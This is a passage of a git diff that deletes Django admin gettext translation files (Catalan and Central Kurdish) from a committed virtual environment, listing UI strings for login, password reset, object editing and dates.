-msgstr "Sense data" - -msgid "Has date" -msgstr "Té data" - -msgid "Empty" -msgstr "Buit" - -msgid "Not empty" -msgstr "No buit" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Si us plau, introduïu un %(username)s i contrasenya correctes per un compte " -"de personal. Observeu que ambdós camps són sensibles a majúscules." - -msgid "Action:" -msgstr "Acció:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Afegir un/a altre/a %(verbose_name)s." - -msgid "Remove" -msgstr "Eliminar" - -msgid "Addition" -msgstr "Afegeix" - -msgid "Change" -msgstr "Modificar" - -msgid "Deletion" -msgstr "Supressió" - -msgid "action time" -msgstr "moment de l'acció" - -msgid "user" -msgstr "usuari" - -msgid "content type" -msgstr "tipus de contingut" - -msgid "object id" -msgstr "id de l'objecte" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "'repr' de l'objecte" - -msgid "action flag" -msgstr "indicador de l'acció" - -msgid "change message" -msgstr "missatge del canvi" - -msgid "log entry" -msgstr "entrada del registre" - -msgid "log entries" -msgstr "entrades del registre" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Afegit \"1%(object)s\"." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Modificat \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Eliminat \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "Objecte entrada del registre" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Afegit {name} \"{object}\"." - -msgid "Added." -msgstr "Afegit." - -msgid "and" -msgstr "i" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Canviat {fields} per {name} \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Canviats {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Eliminat {name} \"{object}\"." - -msgid "No fields changed." -msgstr "Cap camp modificat." - -msgid "None" -msgstr "cap" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Premeu la tecla \"Control\", o \"Command\" en un Mac, per seleccionar més " -"d'un valor." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "El {name} \"{obj}\" fou afegit amb èxit." - -msgid "You may edit it again below." -msgstr "Podeu editar-lo de nou a sota." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"El {name} \"{obj}\" s'ha afegit amb èxit. Podeu afegir un altre {name} a " -"sota." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"El {name} \"{obj}\" fou canviat amb èxit. Podeu editar-lo de nou a sota." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"El {name} \"{obj}\" s'ha afegit amb èxit. Podeu editar-lo de nou a sota." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"El {name} \"{obj}\" fou canviat amb èxit. Podeu afegir un altre {name} a " -"sota." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "El {name} \"{obj}\" fou canviat amb èxit." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Heu de seleccionar els elements per poder realitzar-hi accions. No heu " -"seleccionat cap element." - -msgid "No action selected." -msgstr "No heu seleccionat cap acció." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "El/la %(name)s \"%(obj)s\" s'ha eliminat amb èxit." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s amb ID \"%(key)s\" no existeix. Potser va ser eliminat?" - -#, python-format -msgid "Add %s" -msgstr "Afegir %s" - -#, python-format -msgid "Change %s" -msgstr "Modificar %s" - -#, python-format -msgid "View %s" -msgstr "Visualitza %s" - -msgid "Database error" -msgstr "Error de base de dades" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s s'ha modificat amb èxit." -msgstr[1] "%(count)s %(name)s s'han modificat amb èxit." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s seleccionat(s)" -msgstr[1] "Tots %(total_count)s seleccionat(s)" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 de %(cnt)s seleccionats" - -#, python-format -msgid "Change history: %s" -msgstr "Modificar històric: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Esborrar %(class_name)s %(instance)s requeriria esborrar els següents " -"objectes relacionats protegits: %(related_objects)s" - -msgid "Django site admin" -msgstr "Lloc administratiu de Django" - -msgid "Django administration" -msgstr "Administració de Django" - -msgid "Site administration" -msgstr "Administració del lloc" - -msgid "Log in" -msgstr "Iniciar sessió" - -#, python-format -msgid "%(app)s administration" -msgstr "Administració de %(app)s" - -msgid "Page not found" -msgstr "No s'ha pogut trobar la pàgina" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Ho sentim, però no s'ha pogut trobar la pàgina sol·licitada" - -msgid "Home" -msgstr "Inici" - -msgid "Server error" -msgstr "Error del servidor" - -msgid "Server error (500)" -msgstr "Error del servidor (500)" - -msgid "Server Error (500)" -msgstr "Error del servidor (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"S'ha produït un error. Se n'ha informat els administradors del lloc per " -"correu electrònic, i hauria d'arreglar-se en breu. Gràcies per la vostra " -"paciència." - -msgid "Run the selected action" -msgstr "Executar l'acció seleccionada" - -msgid "Go" -msgstr "Anar" - -msgid "Click here to select the objects across all pages" -msgstr "Feu clic aquí per seleccionar els objectes a totes les pàgines" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Seleccioneu tots %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Netejar la selecció" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Models en l'aplicació %(name)s" - -msgid "Add" -msgstr "Afegir" - -msgid "View" -msgstr "Visualitza" - -msgid "You don’t have permission to view or edit anything." -msgstr "No teniu permisos per veure o editar" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Primer, entreu un nom d'usuari i una contrasenya. Després podreu editar més " -"opcions de l'usuari." - -msgid "Enter a username and password." -msgstr "Introduïu un nom d'usuari i contrasenya." - -msgid "Change password" -msgstr "Canviar contrasenya" - -msgid "Please correct the error below." -msgstr "Si us plau, corregiu l'error de sota." - -msgid "Please correct the errors below." -msgstr "Si us plau, corregiu els errors mostrats a sota." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Introduïu una contrasenya per l'usuari %(username)s" - -msgid "Welcome," -msgstr "Benvingut/da," - -msgid "View site" -msgstr "Veure lloc" - -msgid "Documentation" -msgstr "Documentació" - -msgid "Log out" -msgstr "Finalitzar sessió" - -#, python-format -msgid "Add %(name)s" -msgstr "Afegir %(name)s" - -msgid "History" -msgstr "Històric" - -msgid "View on site" -msgstr "Veure al lloc" - -msgid "Filter" -msgstr "Filtre" - -msgid "Clear all filters" -msgstr "Netejar tots els filtres" - -msgid "Remove from sorting" -msgstr "Treure de la ordenació" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioritat d'ordenació: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Commutar ordenació" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Eliminar el/la %(object_name)s '%(escaped_object)s' provocaria l'eliminació " -"d'objectes relacionats, però el vostre compte no te permisos per esborrar " -"els tipus d'objecte següents:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Esborrar %(object_name)s '%(escaped_object)s' requeriria esborrar els " -"següents objectes relacionats protegits:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Esteu segurs de voler esborrar els/les %(object_name)s \"%(escaped_object)s" -"\"? S'esborraran els següents elements relacionats:" - -msgid "Objects" -msgstr "Objectes" - -msgid "Yes, I’m sure" -msgstr "Sí, n'estic segur" - -msgid "No, take me back" -msgstr "No, torna endarrere" - -msgid "Delete multiple objects" -msgstr "Eliminar múltiples objectes" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Esborrar els %(objects_name)s seleccionats faria que s'esborréssin objectes " -"relacionats, però el vostre compte no té permisos per esborrar els següents " -"tipus d'objectes:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Esborrar els %(objects_name)s seleccionats requeriria esborrar els següents " -"objectes relacionats protegits:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"N'esteu segur de voler esborrar els %(objects_name)s seleccionats? " -"S'esborraran tots els objects següents i els seus elements relacionats:" - -msgid "Delete?" -msgstr "Eliminar?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Per %(filter_title)s " - -msgid "Summary" -msgstr "Resum" - -msgid "Recent actions" -msgstr "Accions recents" - -msgid "My actions" -msgstr "Les meves accions" - -msgid "None available" -msgstr "Cap disponible" - -msgid "Unknown content" -msgstr "Contingut desconegut" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Hi ha algun problema a la instal·lació de la vostra base de dades. Assegureu-" -"vos que s'han creat les taules adients, i que la base de dades és llegible " -"per l'usuari apropiat." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Esteu identificats com a %(username)s, però no esteu autoritzats a accedir a " -"aquesta pàgina. Voleu identificar-vos amb un compte d'usuari diferent?" - -msgid "Forgotten your password or username?" -msgstr "Heu oblidat la vostra contrasenya o nom d'usuari?" - -msgid "Toggle navigation" -msgstr "Canviar mode de navegació" - -msgid "Start typing to filter…" -msgstr "Comença a teclejar per filtrar ..." - -msgid "Filter navigation items" -msgstr "Filtrar els items de navegació" - -msgid "Date/time" -msgstr "Data/hora" - -msgid "User" -msgstr "Usuari" - -msgid "Action" -msgstr "Acció" - -msgid "entry" -msgstr "entrada" - -msgid "entries" -msgstr "entrades" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Aquest objecte no té historial de canvis. Probablement no es va afegir " -"utilitzant aquest lloc administratiu." - -msgid "Show all" -msgstr "Mostrar tots" - -msgid "Save" -msgstr "Desar" - -msgid "Popup closing…" -msgstr "Tancant finestra emergent..." - -msgid "Search" -msgstr "Cerca" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultat" -msgstr[1] "%(counter)s resultats" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s en total" - -msgid "Save as new" -msgstr "Desar com a nou" - -msgid "Save and add another" -msgstr "Desar i afegir-ne un de nou" - -msgid "Save and continue editing" -msgstr "Desar i continuar editant" - -msgid "Save and view" -msgstr "Desa i visualitza" - -msgid "Close" -msgstr "Tanca" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Canvieu el %(model)s seleccionat" - -#, python-format -msgid "Add another %(model)s" -msgstr "Afegeix un altre %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Esborra el %(model)s seleccionat" - -#, python-format -msgid "View selected %(model)s" -msgstr "Vista seleccionada %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Gràcies per dedicar temps de qualitat avui a aquesta web." - -msgid "Log in again" -msgstr "Iniciar sessió de nou" - -msgid "Password change" -msgstr "Canvi de contrasenya" - -msgid "Your password was changed." -msgstr "La seva contrasenya ha estat canviada." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Si us plau, introduïu la vostra contrasenya antiga, per seguretat, i tot " -"seguit introduïu la vostra contrasenya nova dues vegades per verificar que " -"l'heu escrita correctament." - -msgid "Change my password" -msgstr "Canviar la meva contrasenya:" - -msgid "Password reset" -msgstr "Restablir contrasenya" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"S'ha canviat la vostra contrasenya. Ara podeu continuar i iniciar sessió." - -msgid "Password reset confirmation" -msgstr "Confirmació de restabliment de contrasenya" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Si us plau, introduïu la vostra nova contrasenya dues vegades, per verificar " -"que l'heu escrita correctament." - -msgid "New password:" -msgstr "Contrasenya nova:" - -msgid "Confirm password:" -msgstr "Confirmar contrasenya:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"L'enllaç de restabliment de contrasenya era invàlid, potser perquè ja s'ha " -"utilitzat. Si us plau, sol·liciteu un nou reestabliment de contrasenya." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Li hem enviat instruccions per establir la seva contrasenya, donat que hi " -"hagi un compte associat al correu introduït. L'hauríeu de rebre en breu." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Si no rebeu un correu, assegureu-vos que heu introduït l'adreça amb la que " -"us vau registrar, i comproveu la vostra carpeta de \"spam\"." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Heu rebut aquest correu perquè vau sol·licitar restablir la contrasenya per " -"al vostre compte d'usuari a %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Si us plau, aneu a la pàgina següent i escolliu una nova contrasenya:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "El vostre nom d'usuari, en cas que l'hagueu oblidat:" - -msgid "Thanks for using our site!" -msgstr "Gràcies per fer ús del nostre lloc!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "L'equip de %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Heu oblidat la vostra contrasenya? Introduïu la vostra adreça de correu " -"electrònic a sota, i us enviarem instruccions per canviar-la." - -msgid "Email address:" -msgstr "Adreça de correu electrònic:" - -msgid "Reset my password" -msgstr "Restablir la meva contrasenya" - -msgid "All dates" -msgstr "Totes les dates" - -#, python-format -msgid "Select %s" -msgstr "Seleccioneu %s" - -#, python-format -msgid "Select %s to change" -msgstr "Seleccioneu %s per modificar" - -#, python-format -msgid "Select %s to view" -msgstr "Selecciona %s per a veure" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "Cercar" - -msgid "Currently:" -msgstr "Actualment:" - -msgid "Change:" -msgstr "Canviar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 44b9c4b6..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/djangojs.po deleted file mode 100644 index 29795f20..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,330 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Antoni Aloy , 2017,2021 -# Carles Barrobés , 2011-2012,2014 -# Carlton Gibson , 2023 -# Emilio Carrion, 2022 -# Jannis Leidel , 2011 -# Roger Pons , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: Carlton Gibson , 2023\n" -"Language-Team: Catalan (http://app.transifex.com/django/django/language/" -"ca/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ca\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s Disponibles" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Aquesta és la llista de %s disponibles. En podeu escollir alguns " -"seleccionant-los a la caixa de sota i fent clic a la fletxa \"Escollir\" " -"entre les dues caixes." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Escriviu en aquesta caixa per a filtrar la llista de %s disponibles." - -msgid "Filter" -msgstr "Filtre" - -msgid "Choose all" -msgstr "Escollir-los tots" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Feu clic per escollir tots els %s d'un cop." - -msgid "Choose" -msgstr "Escollir" - -msgid "Remove" -msgstr "Eliminar" - -#, javascript-format -msgid "Chosen %s" -msgstr "Escollit %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Aquesta és la llista de %s escollits. En podeu eliminar alguns seleccionant-" -"los a la caixa de sota i fent clic a la fletxa \"Eliminar\" entre les dues " -"caixes." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Escriviu en aquesta caixa per a filtrar la llista de %s seleccionats." - -msgid "Remove all" -msgstr "Esborrar-los tots" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Feu clic per eliminar tots els %s escollits d'un cop." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s opcion seleccionada no visible" -msgstr[1] "%s opcions seleccionades no visibles" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s seleccionat" -msgstr[1] "%(sel)s of %(cnt)s seleccionats" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Teniu canvis sense desar a camps editables individuals. Si executeu una " -"acció, es perdran aquests canvis no desats." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Has seleccionat una acció, però encara no l'has desat els canvis dels camps " -"individuals. Si us plau clica OK per desar. Necessitaràs tornar a executar " -"l'acció." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Has seleccionat una acció i no has fet cap canvi als camps individuals. " -"Probablement estàs cercant el botó Anar enlloc del botó de Desar." - -msgid "Now" -msgstr "Ara" - -msgid "Midnight" -msgstr "Mitjanit" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Migdia" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Nota: Aneu %s hora avançats respecte la hora del servidor." -msgstr[1] "Nota: Aneu %s hores avançats respecte la hora del servidor." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Nota: Aneu %s hora endarrerits respecte la hora del servidor." -msgstr[1] "Nota: Aneu %s hores endarrerits respecte la hora del servidor." - -msgid "Choose a Time" -msgstr "Escolliu una hora" - -msgid "Choose a time" -msgstr "Escolliu una hora" - -msgid "Cancel" -msgstr "Cancel·lar" - -msgid "Today" -msgstr "Avui" - -msgid "Choose a Date" -msgstr "Escolliu una data" - -msgid "Yesterday" -msgstr "Ahir" - -msgid "Tomorrow" -msgstr "Demà" - -msgid "January" -msgstr "Gener" - -msgid "February" -msgstr "Febrer" - -msgid "March" -msgstr "Març" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Maig" - -msgid "June" -msgstr "Juny" - -msgid "July" -msgstr "Juliol" - -msgid "August" -msgstr "Agost" - -msgid "September" -msgstr "Setembre" - -msgid "October" -msgstr "Octubre" - -msgid "November" -msgstr "Novembre" - -msgid "December" -msgstr "Desembre" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Gen" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Abr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ago" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Oct" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Des" - -msgid "Sunday" -msgstr "Diumenge" - -msgid "Monday" -msgstr "Dilluns" - -msgid "Tuesday" -msgstr "Dimarts" - -msgid "Wednesday" -msgstr "Dimecres" - -msgid "Thursday" -msgstr "Dijous" - -msgid "Friday" -msgstr "Divendres" - -msgid "Saturday" -msgstr "Dissabte" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "dg." - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "dl." - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "dt." - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "dc." - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "dj." - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "dv." - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "ds." - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "L" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "M" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "X" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "J" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "Mostrar" - -msgid "Hide" -msgstr "Ocultar" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/django.mo deleted file mode 100644 index 305cb8f8..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/django.po deleted file mode 100644 index b3157f5b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ckb/LC_MESSAGES/django.po +++ /dev/null @@ -1,792 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Abdulla Dlshad, 2023 -# Bakhtawar Barzan, 2021 -# Bakhtawar Barzan, 2021 -# Kosar Tofiq Saeed , 2020 -# pejar hewrami , 2020 -# Swara , 2022,2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: Swara , 2022,2024\n" -"Language-Team: Central Kurdish (http://app.transifex.com/django/django/" -"language/ckb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ckb\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "%(verbose_name_plural)sە هەڵبژێردراوەکان بسڕەوە" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "سەرکەوتووانە %(count)d %(items)sی سڕییەوە." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "ناتوانرێت %(name)s بسڕێتەوە" - -msgid "Are you sure?" -msgstr "ئایا تۆ دڵنیایت؟" - -msgid "Administration" -msgstr "بەڕێوەبەرایەتی" - -msgid "All" -msgstr "هەمووی" - -msgid "Yes" -msgstr "بەڵێ" - -msgid "No" -msgstr "نەخێر" - -msgid "Unknown" -msgstr "نەزانراو" - -msgid "Any date" -msgstr "هەر بەروارێک" - -msgid "Today" -msgstr "ئەمڕۆ" - -msgid "Past 7 days" -msgstr "7 ڕۆژی ڕابردوو" - -msgid "This month" -msgstr "ئەم مانگە" - -msgid "This year" -msgstr "ئەمساڵ" - -msgid "No date" -msgstr "بەروار نییە" - -msgid "Has date" -msgstr "بەرواری هەیە" - -msgid "Empty" -msgstr "بەتاڵ" - -msgid "Not empty" -msgstr "بەتاڵ نییە" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"تکایە %(username)s و تێپەڕەوشە دروستەکە بنوسە بۆ هەژمارێکی ستاف. تێبینی بکە " -"لەوانەیە هەردوو خانەکە دۆخی هەستیار بێت بۆ پیتەکان." - -msgid "Action:" -msgstr "کردار:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "زیادکردنی %(verbose_name)sی تر" - -msgid "Remove" -msgstr "لابردن" - -msgid "Addition" -msgstr "خستنەسەر" - -msgid "Change" -msgstr "گۆڕین" - -msgid "Deletion" -msgstr "سڕینەوە" - -msgid "action time" -msgstr "کاتی کردار" - -msgid "user" -msgstr "بەکارهێنەر" - -msgid "content type" -msgstr "جۆری ناوەڕۆک" - -msgid "object id" -msgstr "ناسنامەی ئۆبجێکت" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "نوێنەرایەتی ئۆبجێکت" - -msgid "action flag" -msgstr "ئاڵای کردار" - -msgid "change message" -msgstr "گۆڕینی پەیام" - -msgid "log entry" -msgstr "ڕاپۆرتی تۆمار" - -msgid "log entries" -msgstr "ڕاپۆرتی تۆمارەکان" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\"ی زیادکرد." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "\"%(object)s\"— %(changes)s گۆڕدرا" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" سڕایەوە." - -msgid "LogEntry Object" -msgstr "ئۆبجێکتی ڕاپۆرتی تۆمار" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} \"{object}\" زیادکرا." - -msgid "Added." -msgstr "زیادکرا." - -msgid "and" -msgstr "و" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{fields} بۆ {name} “{object}” گۆڕدرا." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} گۆڕدرا." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} “{object}” سڕایەوە." - -msgid "No fields changed." -msgstr "هیچ خانەیەک نەگۆڕاوە." - -msgid "None" -msgstr "هیچ" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"پەنجە داگرە لەسەر “Control”، یاخود “Command” لەسەر ماک، بۆ هەڵبژاردنی " -"دانەیەک زیاتر." - -msgid "Select this object for an action - {}" -msgstr "ئەم تەنە هەڵبژێرە بۆ کردارێک - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” بەسەرکەوتوویی زیادکرا." - -msgid "You may edit it again below." -msgstr "دەگونجێت تۆ دووبارە لەخوارەوە دەستکاری بکەیت." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” بەسەرکەوتوویی زیادکرا. دەگونجێت تۆ لە خوارەوە {name}یەکی تر " -"زیادبکەیت." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” بەسەرکەوتوویی گۆڕدرا. دەگونجێت تۆ لە خوارەوە دووبارە دەستکاری " -"بکەیتەوە." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” بەسەرکەوتوویی گۆڕدرا. دەگونجێت تۆ لە خوارەوە {name}یەکی تر " -"زیاد بکەیت." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name}ی “{obj}” بەسەرکەوتوویی گۆڕدرا." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " 